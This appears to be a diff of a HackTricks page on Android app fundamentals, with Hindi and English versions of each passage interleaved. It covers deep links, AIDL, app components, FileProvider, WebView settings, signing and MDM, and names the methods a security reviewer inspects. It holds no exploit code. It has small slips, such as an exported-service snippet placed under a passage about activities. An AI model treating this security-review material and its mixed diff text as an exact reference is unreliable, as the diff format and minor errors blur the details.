In order to find the **code that will be executed in the App**, go to the activity called by the deeplink and search the function **`onNewIntent`**.
|
||||||
|
|
||||||
बिना HTML पेज का उपयोग किए [डीप लिंक को कैसे बुलाया जाए](./#exploiting-schemes-deep-links) सीखें।
|
Learn how to [call deep links without using HTML pages](./#exploiting-schemes-deep-links).
|
||||||
|
|
||||||
## AIDL - एंड्रॉइड इंटरफेस परिभाषा भाषा
|
## AIDL - Android Interface Definition Language
|
||||||
|
|
||||||
**एंड्रॉइड इंटरफेस परिभाषा भाषा (AIDL)** का उद्देश्य एंड्रॉइड एप्लिकेशन में **अंतरप्रक्रिया संचार** (IPC) के माध्यम से ग्राहक और सेवा के बीच संचार को सुगम बनाना है। एंड्रॉइड पर दूसरे प्रक्रिया की मेमोरी तक सीधे पहुंचने की अनुमति नहीं है, इसलिए AIDL ऑब्जेक्ट्स को ऑपरेटिंग सिस्टम द्वारा समझे जाने वाले एक प्रारूप में मार्शल करके प्रक्रिया को सरल बनाता है, जिससे विभिन्न प्रक्रियाओं के बीच संचार सुविधाजनक होता है।
|
The **Android Interface Definition Language (AIDL)** is designed for facilitating communication between client and service in Android applications through **interprocess communication** (IPC). Since accessing another process's memory directly is not permitted on Android, AIDL simplifies the process by marshalling objects into a format understood by the operating system, thereby easing communication across different processes.
|
||||||
|
|
||||||
### मुख्य अवधारणाएँ
|
### Key Concepts
|
||||||
|
|
||||||
- **बाउंड सेवाएं**: ये सेवाएं IPC के लिए AIDL का उपयोग करती हैं, जिससे गतिविधियों या घटकों को सेवा से जोड़ने, अनुरोध करने और प्रतिक्रिया प्राप्त करने की सुविधा होती है। सेवा की कक्षा में `onBind` विधि संवेदनशीलता समीक्षा के लिए महत्वपूर्ण है, जिसे सुरक्षा समीक्षा के लिए खोजने के लिए महत्वपूर्ण क्षेत्र के रूप में चिह्नित किया जाता है।
|
- **Bound Services**: ये सेवाएँ IPC के लिए AIDL का उपयोग करती हैं, जिससे गतिविधियाँ या घटक एक सेवा से बंध सकते हैं, अनुरोध कर सकते हैं, और प्रतिक्रियाएँ प्राप्त कर सकते हैं। सेवा की कक्षा में `onBind` विधि बातचीत शुरू करने के लिए महत्वपूर्ण है, इसे कमजोरियों की खोज में सुरक्षा समीक्षा के लिए एक महत्वपूर्ण क्षेत्र के रूप में चिह्नित किया गया है।
|
||||||
|
|
||||||
- **मेसेंजर**: एक बाउंड सेवा के रूप में काम करते हुए, मेसेंजर IPC को सुविधाजनक बनाता है जिसका मुख्य ध्यान डेटा को `onBind` विधि के माध्यम से प्रसंस्करण करने पर होता है। किसी भी असुरक्षित डेटा हैंडलिंग या संवेदनशील फ़ंक्शनों के निष्पादन के लिए इस विधि की ध्यानपूर्वक जांच करना महत्वपूर्ण है।
|
- **Messenger**: एक बंधी सेवा के रूप में कार्य करते हुए, Messenger IPC को सुविधाजनक बनाता है, जो `onBind` विधि के माध्यम से डेटा को संसाधित करने पर ध्यान केंद्रित करता है। किसी भी असुरक्षित डेटा हैंडलिंग या संवेदनशील कार्यों के निष्पादन के लिए इस विधि का ध्यानपूर्वक निरीक्षण करना आवश्यक है।
|
||||||
|
|
||||||
- **बाइंडर**: AIDL के अवसरवाद के कारण बाइंडर कक्षा का सीधा उपयोग कम होता है, लेकिन बाइंडर का उपयोग अलग-अलग प्रक्रियाओं की मेमोरी स्थानों के बीच डेटा स्थानांतरण सुविधा प्रदान करने वाले कर्नेल स्तर के ड्राइवर के रूप में करता है। और अधिक समझने के लिए, एक संसाधन उपलब्ध है [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)।
|
- **Binder**: हालांकि AIDL के अमूर्तता के कारण Binder वर्ग का प्रत्यक्ष उपयोग कम सामान्य है, यह समझना फायदेमंद है कि Binder विभिन्न प्रक्रियाओं की मेमोरी स्थानों के बीच डेटा स्थानांतरण को सुविधाजनक बनाने वाला एक कर्नेल-स्तरीय ड्राइवर के रूप में कार्य करता है। आगे की समझ के लिए, एक संसाधन उपलब्ध है [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
||||||
|
|
||||||
## घटक
|
## Components
|
||||||
|
|
||||||
इनमें शामिल हैं: **गतिविधियाँ, सेवाएँ, प्रसारण प्राप्तकर्ताएं और प्रदाताएं।**
|
These include: **Activities, Services, Broadcast Receivers and Providers.**
|
||||||
|
|
||||||
### लॉन्चर गतिविधि और अन्य गतिविधियाँ
|
### Launcher Activity and other activities
|
||||||
|
|
||||||
एंड्रॉइड ऐप्स में **गतिविधाएँ** स्क्रीनों की तरह होती हैं, जो उपयोगकर्ता इंटरफेस के विभिन्न हिस्से दिखाती हैं। एक ऐप में कई गतिविधाएँ हो सकती हैं, प्रत्येक एक उपयोगकर्ता को एक अद्वितीय स्क्रीन प्रस्तुत करती है।
|
In Android apps, **activities** are like screens, showing different parts of the app's user interface. An app can have many activities, each one presenting a unique screen to the user.
|
||||||
|
|
||||||
**लॉन्चर गतिविधा** एक ऐप का मुख्य द्वार है, जिसे आप ऐप के प्रतीक पर टैप करते समय लॉन्च किया जाता है। इसे ऐप के मैनिफ़ेस्ट फ़ाइल में विशेष MAIN और LAUNCHER इंटेंट्स के साथ परिभाषित किया जाता है:
|
The **launcher activity** is the main gateway to an app, launched when you tap the app's icon. It's defined in the app's manifest file with specific MAIN and LAUNCHER intents:
|
||||||
```markup
|
```markup
|
||||||
<activity android:name=".LauncherActivity">
|
<activity android:name=".LauncherActivity">
|
||||||
<intent-filter>
|
<intent-filter>
|
||||||
|
@ -224,20 +266,19 @@ android:host="example"
|
||||||
</intent-filter>
|
</intent-filter>
|
||||||
</activity>
|
</activity>
|
||||||
```
|
```
|
||||||
### लॉन्चर एक्टिविटी
|
Not all apps need a launcher activity, especially those without a user interface, like background services.
|
||||||
कुछ एप्लिकेशन को एक लॉन्चर एक्टिविटी की आवश्यकता नहीं होती, विशेष रूप से उन एप्लिकेशनों के लिए जिनमें उपयोगकर्ता इंटरफेस नहीं होता, जैसे कि बैकग्राउंड सेवाएं।
|
|
||||||
|
|
||||||
एक्टिविटी को "निर्यात" मानिफेस्ट में चिह्नित करके अन्य एप्लिकेशन या प्रक्रियाओं के लिए उपलब्ध किया जा सकता है। यह सेटिंग अन्य एप्लिकेशन को इस एक्टिविटी को शुरू करने की अनुमति देती है:
|
Activities can be made available to other apps or processes by marking them as "exported" in the manifest. This setting allows other apps to start this activity:
|
||||||
```markdown
|
```markdown
|
||||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||||
```
|
```
|
||||||
हालांकि, एक एक्टिविटी को दूसरे ऐप से एक्सेस करना हमेशा एक सुरक्षा जोखिम नहीं है। चिंता उत्पन्न होती है अगर संवेदनशील डेटा गलत तरीके से साझा किया जा रहा है, जिससे सूचना लीक हो सकती है।
|
हालांकि, किसी अन्य ऐप से एक गतिविधि तक पहुंचना हमेशा एक सुरक्षा जोखिम नहीं होता है। चिंता तब होती है जब संवेदनशील डेटा गलत तरीके से साझा किया जा रहा हो, जो जानकारी के लीक का कारण बन सकता है।
|
||||||
|
|
||||||
एक्टिविटी का जीवनचक्र **onCreate** मेथड के साथ शुरू होता है, UI को सेटअप करता है और एक्टिविटी को उपयोगकर्ता के साथ बातचीत के लिए तैयार करता है।
|
एक गतिविधि का जीवनचक्र **onCreate विधि के साथ शुरू होता है**, UI सेटअप करना और उपयोगकर्ता के साथ बातचीत के लिए गतिविधि को तैयार करना।
|
||||||
|
|
||||||
### एप्लिकेशन सबक्लास
|
### एप्लिकेशन उपवर्ग
|
||||||
|
|
||||||
एंड्रॉइड विकास में, एक ऐप को [एप्लिकेशन](https://developer.android.com/reference/android/app/Application) क्लास का एक **सबक्लास** बनाने का विकल्प होता है, हालांकि यह अनिवार्य नहीं है। जब ऐसा सबक्लास परिभाषित किया जाता है, तो यह ऐप के भीतर पहली क्लास बन जाता है। यदि इस सबक्लास में **`attachBaseContext`** मेथड को लागू किया गया है, तो यह **`onCreate`** मेथड से पहले निष्पादित किया जाता है। यह सेटअप बाकी एप्लिकेशन शुरू होने से पहले पहले प्रारंभिकीकरण की अनुमति देता है।
|
Android विकास में, एक ऐप के पास [Application](https://developer.android.com/reference/android/app/Application) वर्ग का **उपवर्ग** बनाने का विकल्प होता है, हालांकि यह अनिवार्य नहीं है। जब ऐसा उपवर्ग परिभाषित किया जाता है, तो यह ऐप के भीतर पहली कक्षा बन जाती है जिसे इंस्टेंट किया जाता है। यदि इस उपवर्ग में **`attachBaseContext`** विधि लागू की गई है, तो इसे **`onCreate`** विधि से पहले निष्पादित किया जाता है। यह सेटअप शेष एप्लिकेशन शुरू होने से पहले प्रारंभिक प्रारंभ की अनुमति देता है।
|
||||||
```java
|
```java
|
||||||
public class MyApp extends Application {
|
public class MyApp extends Application {
|
||||||
@Override
|
@Override
|
||||||
|
@ -253,35 +294,35 @@ super.onCreate();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### सेवाएं
|
### Services
|
||||||
|
|
||||||
[सेवाएं](https://developer.android.com/guide/components/services) **पृष्ठभूमि कार्यकर्ताओं** हैं जो उपयोगकर्ता इंटरफ़ेस के बिना कार्यों को क्रियान्वित करने में सक्षम होती हैं। ये कार्य चालू रह सकते हैं भले ही उपयोगकर्ता विभिन्न एप्लिकेशनों पर स्विच कर जाएं, जिससे सेवाएं **लंबे समय तक चलने वाले कार्यों** के लिए महत्वपूर्ण होती हैं।
|
[Services](https://developer.android.com/guide/components/services) **पृष्ठभूमि ऑपरेटिव्स** हैं जो बिना उपयोगकर्ता इंटरफ़ेस के कार्यों को निष्पादित करने में सक्षम हैं। ये कार्य तब भी चलते रह सकते हैं जब उपयोगकर्ता विभिन्न अनुप्रयोगों में स्विच करते हैं, जिससे सेवाएँ **दीर्घकालिक संचालन** के लिए महत्वपूर्ण हो जाती हैं।
|
||||||
|
|
||||||
सेवाएं विविध हैं; इन्हें विभिन्न तरीकों से प्रारंभ किया जा सकता है, **इंटेंट्स** इन्हें लॉन्च करने के लिए मुख्य तरीका होते हैं जैसे कि एक एप्लिकेशन का प्रवेश बिंदु। जब एक सेवा `startService` विधि का उपयोग करके शुरू की जाती है, तो इसकी `onStart` विधि क्रियाशील हो जाती है और `stopService` विधि को स्पष्ट रूप से बुलाया जाने तक चलती रहती है। या अगर किसी सेवा की भूमिका एक सक्रिय ग्राहक कनेक्शन पर निर्भर है, तो `bindService` विधि का उपयोग सेवा को ग्राहक से जोड़ने के लिए किया जाता है, डेटा पास करने के लिए `onBind` विधि को सक्रिय करता है।
|
सेवाएँ बहुपरकारी हैं; इन्हें विभिन्न तरीकों से आरंभ किया जा सकता है, जिसमें **Intents** मुख्य विधि है जो उन्हें एक अनुप्रयोग के प्रवेश बिंदु के रूप में लॉन्च करती है। एक बार जब `startService` विधि का उपयोग करके एक सेवा शुरू की जाती है, तो इसका `onStart` विधि सक्रिय हो जाती है और तब तक चलती रहती है जब तक कि `stopService` विधि को स्पष्ट रूप से नहीं बुलाया जाता। वैकल्पिक रूप से, यदि किसी सेवा की भूमिका एक सक्रिय क्लाइंट कनेक्शन पर निर्भर करती है, तो `bindService` विधि का उपयोग क्लाइंट को सेवा से जोड़ने के लिए किया जाता है, डेटा पास करने के लिए `onBind` विधि को सक्रिय करते हुए।
|
||||||
|
|
||||||
सेवाओं का एक दिलचस्प उपयोग पृष्ठभूमि संगीत प्लेबैक या नेटवर्क डेटा प्राप्ति जैसा हो सकता है बिना उपयोगकर्ता के एप्लिकेशन के साथ बातचीत को बाधित किए। इसके अतिरिक्त, सेवाएं अन्य प्रक्रियाओं के लिए उपलब्ध की जा सकती हैं जो एक ही उपकरण पर हैं **निर्यात** के माध्यम से। यह डिफ़ॉल्ट व्यवहार नहीं है और एंड्रॉइड मैनिफ़ेस्ट फ़ाइल में स्पष्ट रूप से विन्यास की आवश्यकता होती है:
|
सेवाओं का एक दिलचस्प अनुप्रयोग पृष्ठभूमि संगीत प्लेबैक या नेटवर्क डेटा फ़ेचिंग शामिल है, जो उपयोगकर्ता के ऐप के साथ इंटरैक्शन को बाधित किए बिना होता है। इसके अलावा, सेवाओं को **निर्यात** करके एक ही डिवाइस पर अन्य प्रक्रियाओं के लिए सुलभ बनाया जा सकता है। यह डिफ़ॉल्ट व्यवहार नहीं है और इसके लिए Android Manifest फ़ाइल में स्पष्ट कॉन्फ़िगरेशन की आवश्यकता होती है:
|
||||||
```xml
|
```xml
|
||||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||||
```
|
```
|
||||||
### प्रसारण प्राप्तकर्ता
|
### Broadcast Receivers
|
||||||
|
|
||||||
**प्रसारण प्राप्तकर्ता** संदेश प्रणाली में सुनने वाले के रूप में कार्य करते हैं, जो एक से अधिक एप्लिकेशन को सिस्टम से एक ही संदेश का जवाब देने की अनुमति देते हैं। एक एप्लिकेशन **दो मुख्य तरीके से प्राप्तकर्ता को रजिस्टर** कर सकता है: एप्लिकेशन के **मैनिफेस्ट** के माध्यम से या एप्लिकेशन के कोड के भीतर **डायनेमिक रूप से** **`registerReceiver`** API के माध्यम से। मैनिफेस्ट में, प्रसारण को अनुमतियों के साथ फ़िल्टर किया जाता है, जबकि डायनेमिक रूप से रजिस्टर किए गए प्राप्तकर्ताओं को पंजीकरण के समय अनुमतियाँ भी निर्दिष्ट कर सकते हैं।
|
**Broadcast receivers** एक मैसेजिंग सिस्टम में लिस्नर्स के रूप में कार्य करते हैं, जिससे कई एप्लिकेशन सिस्टम से समान संदेशों का जवाब दे सकते हैं। एक ऐप **दो प्रमुख तरीकों** से **एक रिसीवर** को **रजिस्टर** कर सकता है: ऐप के **Manifest** के माध्यम से या ऐप के कोड में **`registerReceiver`** API के माध्यम से **डायनामिकली**। Manifest में, ब्रॉडकास्ट को अनुमतियों के साथ फ़िल्टर किया जाता है, जबकि डायनामिकली रजिस्टर किए गए रिसीवर रजिस्ट्रेशन के समय अनुमतियों को भी निर्दिष्ट कर सकते हैं।
|
||||||
|
|
||||||
**इंटेंट फ़िल्टर** दोनों पंजीकरण विधियों में महत्वपूर्ण हैं, जो निर्धारित करते हैं कि कौन से प्रसारण प्राप्तकर्ता को ट्रिगर करते हैं। एक मिलती जुलती प्रसारण भेजी जाती है, प्राप्तकर्ता का **`onReceive`** विधि चालित की जाती है, जिससे एप्लिकेशन उसके अनुसार प्रतिक्रिया दे सकता है, जैसे किसी कम बैटरी अलर्ट के प्रतिक्रिया में व्यवहार समायोजित करना।
|
**Intent filters** दोनों रजिस्ट्रेशन विधियों में महत्वपूर्ण हैं, यह निर्धारित करते हैं कि कौन से ब्रॉडकास्ट रिसीवर को ट्रिगर करते हैं। एक बार जब एक मेल खाने वाला ब्रॉडकास्ट भेजा जाता है, तो रिसीवर का **`onReceive`** मेथड सक्रिय होता है, जिससे ऐप को प्रतिक्रिया देने की अनुमति मिलती है, जैसे कि कम बैटरी अलर्ट के जवाब में व्यवहार को समायोजित करना।
|
||||||
|
|
||||||
प्रसारण या तो **असमवर्ती** हो सकते हैं, जो सभी प्राप्तकर्ताओं तक अनुक्रमणिका के बिना पहुंचते हैं, या **समवर्ती** हो सकते हैं, जहां प्राप्तकर्ताओं को सेट की गई प्राथमिकताओं के आधार पर प्रसारण मिलता है। हालांकि, किसी भी एप्लिकेशन को प्राथमिकता देने के लिए अपने आप को एक प्रसारण को अंतर्दृष्टि करने की संभावना को ध्यान में रखना महत्वपूर्ण है।
|
ब्रॉडकास्ट **असिंक्रोनस** हो सकते हैं, जो सभी रिसीवर्स तक बिना क्रम के पहुँचते हैं, या **सिंक्रोनस**, जहाँ रिसीवर्स सेट प्राथमिकताओं के आधार पर ब्रॉडकास्ट प्राप्त करते हैं। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि किसी भी ऐप को ब्रॉडकास्ट को इंटरसेप्ट करने के लिए खुद को प्राथमिकता देने का जोखिम होता है।
|
||||||
|
|
||||||
प्राप्तकर्ता के कार्यक्षमता को समझने के लिए, उसकी कक्षा में **`onReceive`** विधि की खोज करें। इस विधि का कोड प्राप्त इंटेंट को संशोधित कर सकता है, विशेष रूप से **क्रमित प्रसारण** में, जो इंटेंट को संशोधित या छोड़ सकते हैं के लिए डेटा मान्यता की आवश्यकता को प्रकट करता है।
|
एक रिसीवर की कार्यक्षमता को समझने के लिए, उसकी क्लास में **`onReceive`** मेथड की तलाश करें। इस मेथड का कोड प्राप्त Intent को संशोधित कर सकता है, जिससे रिसीवर्स द्वारा डेटा सत्यापन की आवश्यकता को उजागर किया जा सकता है, विशेष रूप से **Ordered Broadcasts** में, जो Intent को संशोधित या छोड़ सकते हैं।
|
||||||
|
|
||||||
### सामग्री प्रदाता
|
### Content Provider
|
||||||
|
|
||||||
**सामग्री प्रदाता** एप्लिकेशन के बीच **संरचित डेटा साझा** के लिए महत्वपूर्ण हैं, डेटा सुरक्षा सुनिश्चित करने के लिए **अनुमतियों** को लागू करने की महत्वता को जोर देते हैं। इन्हें अनुमतियों को नियंत्रित करने के लिए महत्वपूर्ण हैं। विशेष अनुमतियाँ, जैसे **`readPermission`** और **`writePermission`**, एक्सेस नियंत्रण के लिए महत्वपूर्ण हैं। इसके अतिरिक्त, अनुमानित एक्सेस को अनुमति दी जा सकती है एप्लिकेशन के मैनिफेस्ट में **`grantUriPermission`** सेटिंग्स के माध्यम से, जिसमें `path`, `pathPrefix`, और `pathPattern` जैसे विस्तृत एक्सेस नियंत्रण के लिए गुणों का उपयोग किया जा सकता है।
|
**Content Providers** ऐप्स के बीच **संरचित डेटा** साझा करने के लिए आवश्यक हैं, डेटा सुरक्षा सुनिश्चित करने के लिए **अनुमतियों** को लागू करने के महत्व पर जोर देते हैं। वे ऐप्स को विभिन्न स्रोतों से डेटा तक पहुँचने की अनुमति देते हैं, जिसमें डेटाबेस, फ़ाइल सिस्टम, या वेब शामिल हैं। विशिष्ट अनुमतियाँ, जैसे **`readPermission`** और **`writePermission`**, पहुँच को नियंत्रित करने के लिए महत्वपूर्ण हैं। इसके अतिरिक्त, ऐप के मैनिफेस्ट में **`grantUriPermission`** सेटिंग्स के माध्यम से अस्थायी पहुँच प्रदान की जा सकती है, जिसमें विस्तृत पहुँच नियंत्रण के लिए `path`, `pathPrefix`, और `pathPattern` जैसे गुणों का उपयोग किया जाता है।
|
||||||
|
|
||||||
इनपुट मान्यता गंभीर रूप से सुरक्षा दोषों को रोकने के लिए महत्वपूर्ण है। सामग्री प्रदाता मूल ऑपरेशन का समर्थन करते हैं: `insert()`, `update()`, `delete()`, और `query()`, डेटा परिवर्तन और एप्लिकेशन के बीच साझा करने की सुविधा प्रदान करते हैं।
|
इनपुट सत्यापन कमजोरियों को रोकने के लिए महत्वपूर्ण है, जैसे कि SQL इंजेक्शन। Content Providers बुनियादी संचालन का समर्थन करते हैं: `insert()`, `update()`, `delete()`, और `query()`, जो एप्लिकेशनों के बीच डेटा हेरफेर और साझा करने की सुविधा प्रदान करते हैं।
|
||||||
|
|
||||||
**FileProvider**, एक विशेष सामग्री प्रदाता, सुरक्षित रूप से फ़ाइलों को साझा करने पर ध्यान केंद्रित है। इसे एप्लिकेशन के मैनिफेस्ट में विशेष गुणों के साथ परिभाषित किया जाता है ताकि फ़ोल्डरों तक पहुंच को नियंत्रित किया जा सके, जिन्हें `android:exported` और `android:resource` द्वारा फ़ोल्डर कॉन्फ़िगरेशन को निर्देशित किया जाता है। संवेदनशील डेटा को अनजाने में उजागर करने से बचने के लिए डायरेक्टरी साझा करते समय सावधानी बरतने की सलाह दी जाती है।
|
**FileProvider**, एक विशेष Content Provider, फ़ाइलों को सुरक्षित रूप से साझा करने पर केंद्रित है। इसे ऐप के मैनिफेस्ट में विशिष्ट गुणों के साथ परिभाषित किया गया है जो फ़ोल्डरों तक पहुँच को नियंत्रित करते हैं, जिसे `android:exported` और `android:resource` द्वारा फ़ोल्डर कॉन्फ़िगरेशन की ओर इंगित किया जाता है। संवेदनशील डेटा को अनजाने में उजागर करने से बचने के लिए निर्देशिकाएँ साझा करते समय सावधानी बरतने की सलाह दी जाती है।
|
||||||
|
|
||||||
उदाहरण मैनिफेस्ट घोषणा FileProvider के लिए:
|
FileProvider के लिए उदाहरण मैनिफेस्ट घोषणा:
|
||||||
```xml
|
```xml
|
||||||
<provider android:name="androidx.core.content.FileProvider"
|
<provider android:name="androidx.core.content.FileProvider"
|
||||||
android:authorities="com.example.myapp.fileprovider"
|
android:authorities="com.example.myapp.fileprovider"
|
||||||
|
@ -291,7 +332,7 @@ android:exported="false">
|
||||||
android:resource="@xml/filepaths" />
|
android:resource="@xml/filepaths" />
|
||||||
</provider>
|
</provider>
|
||||||
```
|
```
|
||||||
और `filepaths.xml` में साझा फ़ोल्डर्स को निर्दिष्ट करने का एक उदाहरण:
|
और `filepaths.xml` में साझा फ़ोल्डरों को निर्दिष्ट करने का एक उदाहरण:
|
||||||
```xml
|
```xml
|
||||||
<paths>
|
<paths>
|
||||||
<files-path path="images/" name="myimages" />
|
<files-path path="images/" name="myimages" />
|
||||||
|
@ -303,37 +344,37 @@ For further information check:
|
||||||
|
|
||||||
## WebViews
|
## WebViews
|
||||||
|
|
||||||
WebViews are like **mini web browsers** inside Android apps, pulling content either from the web or from local files. They face similar risks as regular browsers, yet there are ways to **reduce these risks** through specific **settings**.
|
WebViews Android ऐप्स के अंदर **मिनी वेब ब्राउज़र** की तरह होते हैं, जो सामग्री को वेब या स्थानीय फ़ाइलों से खींचते हैं। इन्हें सामान्य ब्राउज़रों के समान जोखिमों का सामना करना पड़ता है, फिर भी कुछ विशेष **सेटिंग्स** के माध्यम से **इन जोखिमों को कम करने** के तरीके हैं।
|
||||||
|
|
||||||
Android offers two main WebView types:
|
Android दो मुख्य WebView प्रकार प्रदान करता है:
|
||||||
|
|
||||||
- **WebViewClient** is great for basic HTML but doesn't support the JavaScript alert function, affecting how XSS attacks can be tested.
|
- **WebViewClient** बुनियादी HTML के लिए अच्छा है लेकिन JavaScript अलर्ट फ़ंक्शन का समर्थन नहीं करता, जो XSS हमलों का परीक्षण करने के तरीके को प्रभावित करता है।
|
||||||
- **WebChromeClient** acts more like the full Chrome browser experience.
|
- **WebChromeClient** पूर्ण Chrome ब्राउज़र अनुभव की तरह कार्य करता है।
|
||||||
|
|
||||||
A key point is that WebView browsers do **not share cookies** with the device's main browser.
|
एक महत्वपूर्ण बिंदु यह है कि WebView ब्राउज़र **कुकीज़** को डिवाइस के मुख्य ब्राउज़र के साथ **साझा नहीं करते**।
|
||||||
|
|
||||||
For loading content, methods such as ````loadUrl````, ````loadData````, and ````loadDataWithBaseURL```` are available. It's crucial to ensure these URLs or files are **safe to use**. Security settings can be managed via the ````WebSettings```` class. For instance, disabling JavaScript with ````setJavaScriptEnabled(false)```` can prevent XSS attacks.
|
सामग्री लोड करने के लिए, ````loadUrl````, ````loadData````, और ````loadDataWithBaseURL```` जैसे तरीके उपलब्ध हैं। यह सुनिश्चित करना महत्वपूर्ण है कि ये URLs या फ़ाइलें **उपयोग के लिए सुरक्षित** हैं। सुरक्षा सेटिंग्स को ````WebSettings```` क्लास के माध्यम से प्रबंधित किया जा सकता है। उदाहरण के लिए, ````setJavaScriptEnabled(false)```` के साथ JavaScript को अक्षम करना XSS हमलों को रोक सकता है।
|
||||||
|
|
||||||
The JavaScript "Bridge" lets Java objects interact with JavaScript, requiring methods to be marked with ````@JavascriptInterface```` for security from Android 4.2 onwards.
|
JavaScript "Bridge" Java ऑब्जेक्ट्स को JavaScript के साथ इंटरैक्ट करने की अनुमति देता है, जिसके लिए Android 4.2 से सुरक्षा के लिए विधियों को ````@JavascriptInterface```` के साथ चिह्नित करना आवश्यक है।
|
||||||
|
|
||||||
Allowing content access (````setAllowContentAccess(true)````) lets WebViews reach Content Providers, which could be a risk unless the content URLs are verified as secure.
|
सामग्री पहुंच की अनुमति देना (````setAllowContentAccess(true)````) WebViews को Content Providers तक पहुंचने की अनुमति देता है, जो एक जोखिम हो सकता है जब तक कि सामग्री URLs को सुरक्षित के रूप में सत्यापित नहीं किया जाता।
|
||||||
|
|
||||||
To control file access:
|
फ़ाइल पहुंच को नियंत्रित करने के लिए:
|
||||||
- Disabling file access (````setAllowFileAccess(false)````) limits access to the filesystem, with exceptions for certain assets, ensuring they're only used for non-sensitive content.
|
- फ़ाइल पहुंच को अक्षम करना (````setAllowFileAccess(false)````) फ़ाइल सिस्टम तक पहुंच को सीमित करता है, कुछ संपत्तियों के लिए अपवाद के साथ, यह सुनिश्चित करता है कि वे केवल गैर-संवेदनशील सामग्री के लिए उपयोग की जाएं।
|
||||||
|
|
||||||
## Other App Components and Mobile Device Management
|
## Other App Components and Mobile Device Management
|
||||||
|
|
||||||
### **Digital Signing of Applications**
|
### **Digital Signing of Applications**
|
||||||
|
|
||||||
- **Digital signing** is a must for Android apps, ensuring they're **authentically authored** before installation. This process uses a certificate for app identification and must be verified by the device's package manager upon installation. Apps can be **self-signed or certified by an external CA**, safeguarding against unauthorized access and ensuring the app remains untampered during its delivery to the device.
|
- **Digital signing** Android ऐप्स के लिए अनिवार्य है, यह सुनिश्चित करता है कि वे स्थापना से पहले **प्रामाणिक रूप से लिखित** हैं। यह प्रक्रिया ऐप पहचान के लिए एक प्रमाणपत्र का उपयोग करती है और स्थापना के समय डिवाइस के पैकेज प्रबंधक द्वारा सत्यापित की जानी चाहिए। ऐप्स **स्वयं-हस्ताक्षरित या बाहरी CA द्वारा प्रमाणित** हो सकते हैं, जो अनधिकृत पहुंच से सुरक्षा प्रदान करते हैं और यह सुनिश्चित करते हैं कि ऐप डिवाइस पर डिलीवरी के दौरान बिना छेड़छाड़ के रहे।
|
||||||
|
|
||||||
### **App Verification for Enhanced Security**
|
### **App Verification for Enhanced Security**
|
||||||
|
|
||||||
- Starting from **Android 4.2**, a feature called **Verify Apps** allows users to have apps checked for safety before installation. This **verification process** can warn users against potentially harmful apps, or even prevent the installation of particularly malicious ones, enhancing user security.
|
- **Android 4.2** से शुरू होकर, **Verify Apps** नामक एक सुविधा उपयोगकर्ताओं को स्थापना से पहले ऐप्स की सुरक्षा की जांच करने की अनुमति देती है। यह **सत्यापन प्रक्रिया** उपयोगकर्ताओं को संभावित रूप से हानिकारक ऐप्स के खिलाफ चेतावनी दे सकती है, या यहां तक कि विशेष रूप से दुर्भावनापूर्ण ऐप्स की स्थापना को रोक सकती है, जिससे उपयोगकर्ता की सुरक्षा बढ़ती है।
|
||||||
|
|
||||||
### **Mobile Device Management (MDM)**
|
### **Mobile Device Management (MDM)**
|
||||||
|
|
||||||
- **MDM solutions** provide **oversight and security** for mobile devices through **Device Administration API**. They necessitate the installation of an Android app to manage and secure mobile devices effectively. Key functions include **enforcing password policies**, **mandating storage encryption**, and **permitting remote data wipe**, ensuring comprehensive control and security over mobile devices.
|
- **MDM समाधान** मोबाइल उपकरणों के लिए **निगरानी और सुरक्षा** प्रदान करते हैं **Device Administration API** के माध्यम से। उन्हें मोबाइल उपकरणों को प्रभावी ढंग से प्रबंधित और सुरक्षित करने के लिए एक Android ऐप की स्थापना की आवश्यकता होती है। मुख्य कार्यों में **पासवर्ड नीतियों को लागू करना**, **स्टोरेज एन्क्रिप्शन को अनिवार्य करना**, और **दूरस्थ डेटा मिटाने की अनुमति देना** शामिल है, जो मोबाइल उपकरणों पर व्यापक नियंत्रण और सुरक्षा सुनिश्चित करता है।
|
||||||
```java
|
```java
|
||||||
// Example of enforcing a password policy with MDM
|
// Example of enforcing a password policy with MDM
|
||||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||||
|
@ -350,16 +391,17 @@ dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
